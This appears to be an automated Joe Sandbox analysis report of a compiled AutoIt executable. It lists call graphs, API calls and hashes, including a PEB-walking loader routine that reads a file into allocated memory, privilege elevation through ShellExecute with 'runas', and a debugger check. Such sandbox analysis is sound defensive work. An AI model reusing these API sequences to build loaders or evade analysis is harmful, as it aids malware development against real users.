4ff7d7 103097 4f7667 59 API calls 103096->103097 103098 4ff7e1 103097->103098 103099 4f7667 59 API calls 103098->103099 103100 4ff7eb 103099->103100 103101 4f7667 59 API calls 103100->103101 103102 4ff7f5 103101->103102 103103 4f7667 59 API calls 103102->103103 103104 4ff833 103103->103104 103105 4f7667 59 API calls 103104->103105 103106 4ff8fe 103105->103106 103134 505f87 103106->103134 103110 4ff930 103111 4f7667 59 API calls 103110->103111 103112 4ff93a 103111->103112 103162 50fd9e 103112->103162 103114 4ff981 103115 4ff991 GetStdHandle 103114->103115 103116 4ff9dd 103115->103116 103117 5345ab 103115->103117 103118 4ff9e5 OleInitialize 103116->103118 103117->103116 103119 5345b4 103117->103119 103118->103088 103169 556b38 64 API calls 103119->103169 103121 5345bb 103170 557207 CreateThread 103121->103170 103123 5345c7 CloseHandle 103123->103118 103171 50ffdc 103124->103171 103127 50ffdc 59 API calls 103128 50ff45 103127->103128 103129 4f7667 59 API calls 103128->103129 103130 50ff51 103129->103130 103131 4f7bcc 59 API calls 103130->103131 103132 4ff796 103131->103132 103133 510162 6 API calls 103132->103133 103133->103096 103135 4f7667 59 API calls 103134->103135 103136 505f97 103135->103136 103137 4f7667 59 API calls 103136->103137 103138 505f9f 103137->103138 103178 505a9d 103138->103178 103141 505a9d 59 API calls 103142 505faf 103141->103142 103143 4f7667 59 API calls 103142->103143 103144 505fba 103143->103144 103145 510db6 59 API calls 103144->103145 103146 4ff908 103145->103146 103147 5060f9 103146->103147 103148 506107 103147->103148 103149 4f7667 59 API calls 103148->103149 103150 506112 103149->103150 103151 4f7667 59 API calls 103150->103151 103152 50611d 103151->103152 103153 4f7667 59 API calls 103152->103153 103154 506128 103153->103154 103155 4f7667 59 API calls 103154->103155 103156 506133 103155->103156 103157 505a9d 59 API calls 103156->103157 103158 50613e 103157->103158 103159 510db6 59 API calls 103158->103159 103160 506145 RegisterWindowMessageW 103159->103160 103160->103110 103163 54576f 103162->103163 103164 50fdae 103162->103164 103181 559ae7 60 API calls 103163->103181 103166 510db6 59 API calls 103164->103166 103168 50fdb6 103166->103168 103167 54577a 103168->103114 103169->103121 103170->103123 103182 5571ed 65 API calls 103170->103182 103172 4f7667 59 API calls 103171->103172 103173 50ffe7 103172->103173 103174 4f7667 59 API calls 103173->103174 103175 50ffef 103174->103175 103176 4f7667 59 API calls 103175->103176 103177 50ff3b 103176->103177 103177->103127 103179 4f7667 59 API calls 103178->103179 103180 505aa5 103179->103180 103180->103141 103181->103167 103183 ea48c3 103184 ea48ca 103183->103184 103185 ea4968 103184->103185 103186 ea48d2 103184->103186 103203 ea5218 9 API calls 103185->103203 103190 ea4578 103186->103190 103189 ea494f 103191 ea1f68 GetPEB 103190->103191 103200 ea4617 103191->103200 103193 ea4648 CreateFileW 103199 ea4655 103193->103199 103193->103200 103194 ea4671 VirtualAlloc 103195 ea4692 ReadFile 103194->103195 103194->103199 103198 ea46b0 VirtualAlloc 103195->103198 103195->103199 103196 ea4872 103196->103189 103197 ea4864 VirtualFree 103197->103196 103198->103199 103198->103200 103199->103196 103199->103197 103200->103194 103200->103199 103201 ea4778 CloseHandle 103200->103201 103202 ea4788 VirtualFree 103200->103202 103204 ea5488 GetPEB 103200->103204 103201->103200 103202->103200 103203->103189 103205 ea54b2 103204->103205 103205->103193 103206 4f1016 103211 4f4974 103206->103211 103209 512d40 67 API calls 103210 4f1025 103209->103210 103212 510db6 59 API calls 103211->103212 103214 4f497c 103212->103214 103213 4f101b 103213->103209 103214->103213 103218 4f4936 103214->103218 103219 4f493f 103218->103219 103220 4f4951 103218->103220 103221 512d40 67 API calls 103219->103221 103222 4f49a0 103220->103222 103221->103220 103223 4f7667 59 API calls 103222->103223 103224 4f49b8 GetVersionExW 103223->103224 103225 4f7bcc 59 API calls 103224->103225 103226 4f49fb 103225->103226 103227 4f7d2c 59 API calls 103226->103227 103232 4f4a28 103226->103232 103228 4f4a1c 103227->103228 103229 4f7726 59 API calls 103228->103229 103229->103232 103230 4f4a93 GetCurrentProcess IsWow64Process 103231 4f4aac 103230->103231 103234 4f4b2b GetSystemInfo 103231->103234 103235 4f4ac2 103231->103235 103232->103230 103233 52d864 103232->103233 103236 4f4af8 103234->103236 103246 4f4b37 103235->103246 103236->103213 103239 4f4b1f GetSystemInfo 103241 4f4ae9 103239->103241 103240 4f4ad4 103242 4f4b37 2 API calls 103240->103242 103241->103236 103244 4f4aef FreeLibrary 103241->103244 103243 4f4adc GetNativeSystemInfo 103242->103243 103243->103241 103244->103236 103247 4f4ad0 103246->103247 103248 4f4b40 LoadLibraryA 103246->103248 103247->103239 103247->103240 103248->103247 103249 4f4b51 GetProcAddress 103248->103249 103249->103247 103250 4f1055 103255 4f2649 103250->103255 103253 512d40 67 API calls 103254 4f1064 103253->103254 103256 4f7667 59 API calls 103255->103256 103257 4f26b7 103256->103257 103262 4f3582 103257->103262 103260 4f2754 103261 4f105a 103260->103261 103265 4f3416 59 API calls 103260->103265 103261->103253 103266 4f35b0 103262->103266 103265->103260 103267 4f35a1 103266->103267 103268 4f35bd 103266->103268 103267->103260 103268->103267 103269 4f35c4 RegOpenKeyExW 103268->103269 103269->103267 103270 4f35de RegQueryValueExW 103269->103270 103271 4f3614 RegCloseKey 103270->103271 103272 4f35ff 103270->103272 103271->103267 103272->103271 103273 4f3633 103274 4f366a 103273->103274 103275 4f3688 103274->103275 103276 4f36e7 103274->103276 103314 4f36e5 103274->103314 103279 4f374b PostQuitMessage 103275->103279 103280 4f3695 103275->103280 103277 4f36ed 103276->103277 103278 52d0cc 103276->103278 103282 4f3715 SetTimer RegisterWindowMessageW 103277->103282 103283 4f36f2 103277->103283 103322 501070 10 API calls 103278->103322 103287 4f36d8 103279->103287 103285 52d154 103280->103285 103286 4f36a0 103280->103286 103281 4f36ca DefWindowProcW 103281->103287 103282->103287 103291 4f373e CreatePopupMenu 103282->103291 103288 4f36f9 KillTimer 103283->103288 103289 52d06f 103283->103289 103327 552527 71 API calls 103285->103327 103292 4f36a8 103286->103292 103293 4f3755 103286->103293 103318 4f443a Shell_NotifyIconW 103288->103318 103301 52d074 103289->103301 103302 52d0a8 MoveWindow 103289->103302 103290 52d0f3 103323 501093 331 API calls 103290->103323 103291->103287 103297 52d139 103292->103297 103298 4f36b3 103292->103298 103320 4f44a0 64 API calls 103293->103320 103297->103281 103326 547c36 59 API calls 103297->103326 103304 4f36be 103298->103304 103305 52d124 103298->103305 103299 52d166 103299->103281 103299->103287 103307 52d097 SetFocus 103301->103307 103308 52d078 103301->103308 103302->103287 103303 4f370c 103319 4f3114 DeleteObject DestroyWindow 103303->103319 103304->103281 103324 4f443a Shell_NotifyIconW 103304->103324 103325 552d36 81 API calls 103305->103325 103306 4f3764 103306->103287 103307->103287 103308->103304 103309 52d081 103308->103309 103321 501070 10 API calls 103309->103321 103314->103281 103316 52d118 103317 4f434a 68 API calls 103316->103317 103317->103314 103318->103303 103319->103287 103320->103306 103321->103287 103322->103290 103323->103304 103324->103316 103325->103306 103326->103314 103327->103299 103328 53416f 103332 545fe6 103328->103332 103330 53417a 103331 545fe6 85 API calls 103330->103331 103331->103330 103334 545ff3 103332->103334 103339 546020 103332->103339 103333 546022 103344 4f9328 84 API calls 103333->103344 103334->103333 103336 546027 103334->103336 103334->103339 103341 54601a 103334->103341 103337 4f9837 84 API calls 103336->103337 103338 54602e 103337->103338 103340 4f7b2e 59 API calls 103338->103340 103339->103330 103340->103339 103343 4f95a0 59 API calls 103341->103343 103343->103339 103344->103336 103345 52fdfc 103349 4fab30 103345->103349 103350 4fb525 103349->103350 103369 4fa057 103349->103369 103370 4f7de1 59 API calls 103349->103370 103374 4f9f37 103349->103374 103378 4fb2b6 103349->103378 103380 4f9ea0 331 API calls 103349->103380 103381 53086a 103349->103381 103383 530878 103349->103383 103385 53085c 103349->103385 103386 4fb21c 103349->103386 103388 510db6 59 API calls 103349->103388 103391 546e8f 59 API calls 103349->103391 103394 56df23 103349->103394 103397 56df37 103349->103397 103402 4f9c90 59 API calls 103349->103402 103406 56c193 85 API calls 103349->103406 103407 56c2e0 96 API calls 103349->103407 103408 557956 59 API calls 103349->103408 103409 56bc6b 331 API calls 103349->103409 103410 54617e 59 API calls 103349->103410 103412 559e4a 89 API calls 103350->103412 103353 5309e5 103418 559e4a 89 API calls 103353->103418 103354 530055 103411 559e4a 89 API calls 103354->103411 103358 4fb475 103363 4f8047 59 API calls 103358->103363 103359 4f8047 59 API calls 103359->103374 103360 530064 103361 510db6 59 API calls 103361->103374 103363->103369 103365 4fb47a 103365->103353 103365->103354 103367 4f7667 59 API calls 103367->103374 103368 546e8f 59 API calls 103368->103374 103370->103349 103371 5309d6 103417 559e4a 89 API calls 103371->103417 103373 512d40 67 API calls 103373->103374 103374->103354 103374->103358 103374->103359 103374->103361 103374->103365 103374->103367 103374->103368 103374->103369 103374->103371 103374->103373 103375 4fa55a 103374->103375 103400 4fc8c0 331 API calls 103374->103400 103401 4fb900 60 API calls 103374->103401 103416 559e4a 89 API calls 103375->103416 103405 4ff6a3 331 API calls 103378->103405 103380->103349 103414 4f9c90 59 API calls 103381->103414 103415 559e4a 89 API calls 103383->103415 103385->103369 103413 54617e 59 API calls 103385->103413 103403 4f9d3c 60 API calls 103386->103403 103388->103349 103389 4fb22d 103404 4f9d3c 60 API calls 103389->103404 103391->103349 103419 56cadd 103394->103419 103396 56df33 103396->103349 103398 56cadd 130 API calls 103397->103398 103399 56df47 103398->103399 103399->103349 103400->103374 103401->103374 103402->103349 103403->103389 103404->103378 103405->103350 103406->103349 103407->103349 103408->103349 103409->103349 103410->103349 103411->103360 103412->103385 103413->103369 103414->103385 103415->103385 103416->103369 103417->103353 103418->103369 103420 4f9837 84 API calls 103419->103420 103421 56cb1a 103420->103421 103441 56cb61 103421->103441 103457 56d7a5 103421->103457 103423 56cdb9 103424 56cf2e 103423->103424 103428 56cdc7 103423->103428 103496 56d8c8 92 API calls 103424->103496 103427 56cf3d 103427->103428 103429 56cf49 103427->103429 103470 56c96e 103428->103470 103429->103441 103430 4f9837 84 API calls 103436 56cbb2 103430->103436 103435 56ce00 103485 510c08 103435->103485 103436->103423 103436->103430 103436->103441 103489 56fbce 59 API calls 103436->103489 103490 56cfdf 61 API calls 103436->103490 103439 56ce33 103443 4f92ce 59 API calls 103439->103443 103440 56ce1a 103491 559e4a 89 API calls 103440->103491 103441->103396 103445 56ce3f 103443->103445 103444 56ce25 GetCurrentProcess TerminateProcess 103444->103439 103446 4f9050 59 API calls 103445->103446 103447 56ce55 103446->103447 103456 56ce7c 103447->103456 103492 4f8d40 59 API calls 103447->103492 103448 56cfa4 103448->103441 103452 56cfb8 FreeLibrary 103448->103452 103450 56ce6b 103493 56d649 107 API calls 103450->103493 103452->103441 103456->103448 103494 4f8d40 59 API calls 103456->103494 103495 4f9d3c 60 API calls 103456->103495 103497 56d649 107 API calls 103456->103497 103458 4f7e4f 59 API calls 103457->103458 103459 56d7c0 CharLowerBuffW 103458->103459 103498 54f167 103459->103498 103463 4f7667 59 API calls 103464 56d7f9 103463->103464 103465 4f784b 59 API calls 103464->103465 103466 56d810 103465->103466 103467 4f7d2c 59 API calls 103466->103467 103468 56d81c 103467->103468 103469 56d858 103468->103469 103505 56cfdf 61 API calls 103468->103505 103469->103436 103471 56c989 103470->103471 103472 56c9de 103470->103472 103473 510db6 59 API calls 103471->103473 103476 56da50 103472->103476 103475 56c9ab 103473->103475 103474 510db6 59 API calls 103474->103475 103475->103472 103475->103474 103477 56dc79 103476->103477 103484 56da73 103476->103484 103477->103435 103478 4f9be6 59 API calls 103478->103484 103479 4f9b3c 59 API calls 103479->103484 103480 4f9b98 59 API calls 103480->103484 103481 4f9837 84 API calls 103481->103484 103482 51571c 58 API calls 103482->103484 103484->103477 103484->103478 103484->103479 103484->103480 103484->103481 103484->103482 103508 555887 61 API calls 103484->103508 103487 510c1d 103485->103487 103486 510cb5 VirtualProtect 103488 510c83 103486->103488 103487->103486 103487->103488 103488->103439 103488->103440 103489->103436 103490->103436 103491->103444 103492->103450 103493->103456 103494->103456 103495->103456 103496->103427 103497->103456 103500 54f192 103498->103500 103499 54f1d1 103499->103463 103499->103468 103500->103499 103502 54f1c7 103500->103502 103504 54f278 103500->103504 103502->103499 103506 4f78c4 61 API calls 103502->103506 103504->103499 103507 4f78c4 61 API calls 103504->103507 103505->103469 103506->103502 103507->103504 103508->103484

                                                          Executed Functions

                                                          Function 004F3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153windowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 004F3B68
                                                          • IsDebuggerPresent.KERNEL32 ref: 004F3B7A
                                                          • GetFullPathNameW.KERNEL32(00007FFF,?,?,005B52F8,005B52E0,?,?), ref: 004F3BEB
                                                            • Part of subcall function 0050092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,004F3C14,005B52F8,?,?,?), ref: 0050096E
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 004F3C6F
                                                          • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,005A7770,00000010), ref: 0052D281
                                                          • SetCurrentDirectoryW.KERNEL32(?,005B52F8,?,?,?), ref: 0052D2B9
                                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,005A4260,005B52F8,?,?,?), ref: 0052D33F
                                                          • ShellExecuteW.SHELL32(00000000,?,?), ref: 0052D346
                                                            • Part of subcall function 004F3A46: GetSysColorBrush.USER32(0000000F), ref: 004F3A50
                                                            • Part of subcall function 004F3A46: LoadCursorW.USER32(00000000,00007F00), ref: 004F3A5F
                                                            • Part of subcall function 004F3A46: LoadIconW.USER32(00000063), ref: 004F3A76
                                                            • Part of subcall function 004F3A46: LoadIconW.USER32(000000A4), ref: 004F3A88
                                                            • Part of subcall function 004F3A46: LoadIconW.USER32(000000A2), ref: 004F3A9A
                                                            • Part of subcall function 004F3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 004F3AC0
                                                            • Part of subcall function 004F3A46: RegisterClassExW.USER32(?), ref: 004F3B16
                                                            • Part of subcall function 004F39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 004F3A03
                                                            • Part of subcall function 004F39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004F3A24
                                                            • Part of subcall function 004F39D5: ShowWindow.USER32(00000000,?,?), ref: 004F3A38
                                                            • Part of subcall function 004F39D5: ShowWindow.USER32(00000000,?,?), ref: 004F3A41
                                                            • Part of subcall function 004F434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 004F4415
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_
                                                          • String ID: This is a third-party compiled AutoIt script.$runas$%X
                                                          • API String ID: 1385234928-3455129907
                                                          • Opcode ID: 62f931a4b27b6710920a89bb7bf40d2fb825bbbd220d817265d3b44cfd6a3efb
                                                          • Instruction ID: 1374ef5c3c58ac2c93611ee9a57fe4a6345a879cb9fb11fe09e5a0901fd7c74b
                                                          • Opcode Fuzzy Hash: 62f931a4b27b6710920a89bb7bf40d2fb825bbbd220d817265d3b44cfd6a3efb
                                                          • Instruction Fuzzy Hash: E651773590824CAADF05EFB5EC05EFEBF74FF15304F00416AF611A22A1DA786649EB25
                                                          Function 0051D975 Relevance: 18.5, APIs: 12, Instructions: 548COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 593 51d975-51d9b4 call 521940 596 51d9b6-51d9b8 593->596 597 51d9bd-51d9bf 593->597 598 51e1ca-51e1d9 call 51c5f6 596->598 599 51d9c1-51d9db call 518af4 call 518b28 call 518db6 597->599 600 51d9e0-51da0c 597->600 599->598 601 51da13-51da1a 600->601 602 51da0e-51da11 600->602 606 51da38 601->606 607 51da1c-51da33 call 518af4 call 518b28 call 518db6 601->607 602->601 605 51da3e-51da43 602->605 610 51da45-51da51 call 5218c1 605->610 611 51da54-51da62 call 525c6b 605->611 606->605 642 51e1c0-51e1c3 607->642 610->611 623 51ddb8-51ddd0 611->623 624 51da68-51da80 611->624 627 51ddd6-51dde6 623->627 628 51e14b-51e168 WriteFile 623->628 624->623 626 51da86-51dac4 call 5199ac GetConsoleMode 624->626 626->623 647 51daca-51dad0 626->647 631 51defa-51deff 627->631 632 51ddec-51ddf7 627->632 633 51ddab-51ddb3 GetLastError 628->633 634 51e16e-51e176 628->634 640 51df05-51df08 631->640 641 51dfef-51dffa 631->641 638 51e18a-51e1a2 632->638 639 51ddfd-51de0d 632->639 636 51dec2 633->636 634->636 645 51dec8-51deca 636->645 643 51e1a4-51e1a7 638->643 644 51e1ad-51e1bd call 518b28 call 518af4 638->644 649 51de13-51de15 639->649 640->638 650 51df0e 640->650 641->638 648 51e000 641->648 646 51e1c9 642->646 643->644 652 51e1a9-51e1ab 643->652 644->642 654 51ded0-51ded2 645->654 655 51e1c5-51e1c7 645->655 646->598 656 51dad2-51dad4 647->656 657 51dada-51db03 GetConsoleCP 647->657 658 51e00a-51e01f 648->658 659 51de17-51de30 649->659 660 51de5b-51de92 WriteFile 649->660 651 51df18-51df31 650->651 661 51df32-51df35 651->661 652->646 664 51e184 654->664 665 51ded8-51dedd 654->665 655->646 656->623 656->657 657->638 667 51db09-51db17 657->667 666 51e025-51e027 658->666 668 51de32-51de3c 659->668 669 51de3d-51de59 659->669 660->633 662 51de98-51dea4 660->662 670 51df37-51df47 661->670 671 51df6a-51dfb3 WriteFile 661->671 672 51dea6-51deb6 662->672 673 51debc 662->673 664->638 675 51dee3-51def5 call 518b28 call 518af4 665->675 676 51e17b-51e182 call 518b07 665->676 677 51e064-51e0a5 WideCharToMultiByte 666->677 678 51e029-51e03f 666->678 679 51db21-51db29 667->679 668->669 669->649 669->660 681 51df59-51df68 670->681 682 51df49-51df56 670->682 671->633 683 51dfb9-51dfcb 671->683 672->639 672->673 673->636 675->642 676->642 677->633 680 51e0ab-51e0ad 677->680 687 51e041-51e050 678->687 688 51e053-51e062 678->688 689 51dcdd-51dce0 679->689 690 51db2f-51db5c 679->690 693 51e0b3-51e0e6 WriteFile 680->693 681->661 681->671 682->681 683->636 694 51dfd1-51dfe4 683->694 687->688 688->666 688->677 695 51dce2-51dce5 689->695 696 51dce7-51dd14 689->696 691 51db7a-51db86 call 5135f5 690->691 692 51db5e-51db78 690->692 713 51db88-51db9c 691->713 714 51dbcc-51dbce 691->714 699 51dbd4-51dbe6 call 5262ba 692->699 701 51e106-51e11a GetLastError 693->701 702 51e0e8-51e102 693->702 694->651 703 51dfea 694->703 695->696 704 51dd1a-51dd1d 695->704 696->704 699->636 724 51dbec 699->724 708 51e120-51e122 701->708 702->693 707 51e104 702->707 703->636 709 51dd24-51dd34 call 527a5e 704->709 710 51dd1f-51dd22 704->710 707->708 708->636 715 51e128-51e140 708->715 709->633 726 51dd36-51dd3f 709->726 710->709 716 51dd6f-51dd72 710->716 719 51dba2-51dbb7 call 5262ba 713->719 720 51dd7d-51dda6 713->720 714->699 715->658 722 51e146 715->722 716->679 721 51dd78 716->721 719->636 734 51dbbd-51dbca 719->734 720->636 721->636 722->636 727 51dbf2-51dc27 WideCharToMultiByte 724->727 729 51dd41-51dd5a call 527a5e 726->729 730 51dd63-51dd69 726->730 727->636 731 51dc2d-51dc59 WriteFile 727->731 729->633 737 51dd5c-51dd5d 729->737 730->716 731->633 733 51dc5f-51dc79 731->733 733->645 736 51dc7f-51dc85 733->736 734->727 738 51dcd2-51dcd8 736->738 739 51dc87-51dcb8 WriteFile 736->739 737->730 738->730 739->633 740 51dcbe-51dcc5 739->740 740->636 741 51dccb-51dcd1 740->741 741->738
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e832121194be32c8149819066410aeb807b4c5ed03f63f2516cba1f6b441c6cb
                                                          • Instruction ID: 0ceab2657173342688d1af46d9e048d6b0c07b723e3a8809c45bb79fd73af3ad
                                                          • Opcode Fuzzy Hash: e832121194be32c8149819066410aeb807b4c5ed03f63f2516cba1f6b441c6cb
                                                          • Instruction Fuzzy Hash: 1A326E75B022298BEB24CF14DC81AE9BBB5FF46310F1845D9E40AA7A81C7749EC5CF52
                                                          Function 004F49A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1196 4f49a0-4f4a00 call 4f7667 GetVersionExW call 4f7bcc 1201 4f4b0b-4f4b0d 1196->1201 1202 4f4a06 1196->1202 1204 52d767-52d773 1201->1204 1203 4f4a09-4f4a0e 1202->1203 1206 4f4a14 1203->1206 1207 4f4b12-4f4b13 1203->1207 1205 52d774-52d778 1204->1205 1208 52d77a 1205->1208 1209 52d77b-52d787 1205->1209 1210 4f4a15-4f4a4c call 4f7d2c call 4f7726 1206->1210 1207->1210 1208->1209 1209->1205 1211 52d789-52d78e 1209->1211 1219 52d864-52d867 1210->1219 1220 4f4a52-4f4a53 1210->1220 1211->1203 1213 52d794-52d79b 1211->1213 1213->1204 1215 52d79d 1213->1215 1218 52d7a2-52d7a5 1215->1218 1221 52d7ab-52d7c9 1218->1221 1222 4f4a93-4f4aaa GetCurrentProcess IsWow64Process 1218->1222 1223 52d880-52d884 1219->1223 1224 52d869 1219->1224 1220->1218 1225 4f4a59-4f4a64 1220->1225 1221->1222 1230 52d7cf-52d7d5 1221->1230 1228 4f4aaf-4f4ac0 1222->1228 1229 4f4aac 1222->1229 1226 52d886-52d88f 1223->1226 1227 52d86f-52d878 1223->1227 1231 52d86c 1224->1231 1232 4f4a6a-4f4a6c 1225->1232 1233 52d7ea-52d7f0 1225->1233 1226->1231 1236 52d891-52d894 1226->1236 1227->1223 1237 4f4b2b-4f4b35 GetSystemInfo 1228->1237 1238 4f4ac2-4f4ad2 call 4f4b37 1228->1238 1229->1228 1239 52d7d7-52d7da 1230->1239 1240 52d7df-52d7e5 1230->1240 1231->1227 1241 52d805-52d811 1232->1241 1242 4f4a72-4f4a75 1232->1242 1234 52d7f2-52d7f5 1233->1234 1235 52d7fa-52d800 1233->1235 1234->1222 1235->1222 1236->1227 1243 4f4af8-4f4b08 1237->1243 1253 4f4b1f-4f4b29 GetSystemInfo 1238->1253 1254 4f4ad4-4f4ae1 call 4f4b37 1238->1254 1239->1222 1240->1222 1244 52d813-52d816 1241->1244 1245 52d81b-52d821 1241->1245 1247 52d831-52d834 1242->1247 1248 4f4a7b-4f4a8a 1242->1248 1244->1222 1245->1222 1247->1222 1250 52d83a-52d84f 1247->1250 1251 52d826-52d82c 1248->1251 1252 4f4a90 1248->1252 1255 52d851-52d854 1250->1255 1256 52d859-52d85f 1250->1256 1251->1222 1252->1222 1257 4f4ae9-4f4aed 1253->1257 1261 4f4b18-4f4b1d 1254->1261 1262 4f4ae3-4f4ae7 GetNativeSystemInfo 1254->1262 1255->1222 1256->1222 1257->1243 1260 4f4aef-4f4af2 FreeLibrary 1257->1260 1260->1243 1261->1262 1262->1257
                                                          APIs
                                                          • GetVersionExW.KERNEL32(?), ref: 004F49CD
                                                          • GetCurrentProcess.KERNEL32(?,0057FAEC,00000000,00000000,?), ref: 004F4A9A
                                                          • IsWow64Process.KERNEL32(00000000), ref: 004F4AA1
                                                          • GetNativeSystemInfo.KERNELBASE(00000000), ref: 004F4AE7
                                                          • FreeLibrary.KERNEL32(00000000), ref: 004F4AF2
                                                          • GetSystemInfo.KERNEL32(00000000), ref: 004F4B23
                                                          • GetSystemInfo.KERNEL32(00000000), ref: 004F4B2F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64
                                                          • String ID:
                                                          • API String ID: 2813406015-0
                                                          • Opcode ID: 6ac04742575ebd23783ada69f699202c9bbbcf876483da4fec5a4212f284846a
                                                          • Instruction ID: a45dd42a21ca20e82ffd94b412168c611e98161b082cef4bb5d96f5924228c94
                                                          • Opcode Fuzzy Hash: 6ac04742575ebd23783ada69f699202c9bbbcf876483da4fec5a4212f284846a
                                                          • Instruction Fuzzy Hash: B891F83198DBC4DEC731CBA894501BBBFF5BF6A300B48495ED1CA43A41D628B548D76E
                                                          Function 004F4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1263 4f4e89-4f4ea1 CreateStreamOnHGlobal 1264 4f4ea3-4f4eba FindResourceExW 1263->1264 1265 4f4ec1-4f4ec6 1263->1265 1266 52d933-52d942 LoadResource 1264->1266 1267 4f4ec0 1264->1267 1266->1267 1268 52d948-52d956 SizeofResource 1266->1268 1267->1265 1268->1267 1269 52d95c-52d967 LockResource 1268->1269 1269->1267 1270 52d96d-52d98b 1269->1270 1270->1267
                                                          APIs
                                                          • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,004F4D8E,?,?,00000000,00000000), ref: 004F4E99
                                                          • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,004F4D8E,?,?,00000000,00000000), ref: 004F4EB0
                                                          • LoadResource.KERNEL32(?,00000000,?,?,004F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,004F4E2F), ref: 0052D937
                                                          • SizeofResource.KERNEL32(?,00000000,?,?,004F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,004F4E2F), ref: 0052D94C
                                                          • LockResource.KERNEL32(004F4D8E,?,?,004F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,004F4E2F,00000000), ref: 0052D95F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                          • String ID: SCRIPT
                                                          • API String ID: 3051347437-3967369404
                                                          • Opcode ID: 901e9c1829c1b7d08fae7bc3e405295b8065a9a3bc55ca07c5458f0955c36a5f
                                                          • Instruction ID: f16a09384e5470b4aaca40e282dea7784b0245a23fbe6351ae9314a3cae575bf
